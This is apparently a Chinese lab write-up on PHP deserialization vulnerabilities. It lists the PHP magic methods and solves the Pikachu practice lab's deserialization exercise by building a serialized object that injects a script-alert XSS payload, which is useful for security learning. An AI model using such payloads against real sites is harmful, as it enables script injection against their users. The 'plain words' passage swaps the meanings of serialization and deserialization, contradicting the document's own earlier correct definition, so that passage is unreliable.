php反序列化

原理：

php程序为了保存和转储对象，提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串，但仅保留对象里的成员变量，不保留函数方法。

php序列化的函数为serialize，可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize，可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化，就是PHP反序列化漏洞。

咱们先了解一下序列化和反序列化都是什么含义

通俗来讲

序列化就是把字符串去转换成PHP对象

反序列化就是把php对象转换成字符串

常见的魔术方法

__construct()            //类的构造函数，创建对象时触发

__destruct()             //类的析构函数，对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时，这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时，先会调用这个方法

__wakeup()               //执行unserialize()时，先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候（转换成字符串的时候）自动调用

Pikachu

打开题目就让我输入一个序列化的东西，但是没有啥源码，估计就是概述里面的那个示例

那我们就分析一下

我们去创造一个S的对象，然后会触发destruct这个魔术方法，然后打印出test的值，那我们就可以在test的这里去动手脚了

new S() -> __destruct() -> $this->test

我们打开php在线这个网站，去序列化一下PHP 在线工具 | 菜鸟工具 (jyshare.com)

我们构造一下payload：

<?php
class S{
	function __destruct(){
                echo $this->test;
            }
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);

O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>

然后弄到输入框试试：

成功了。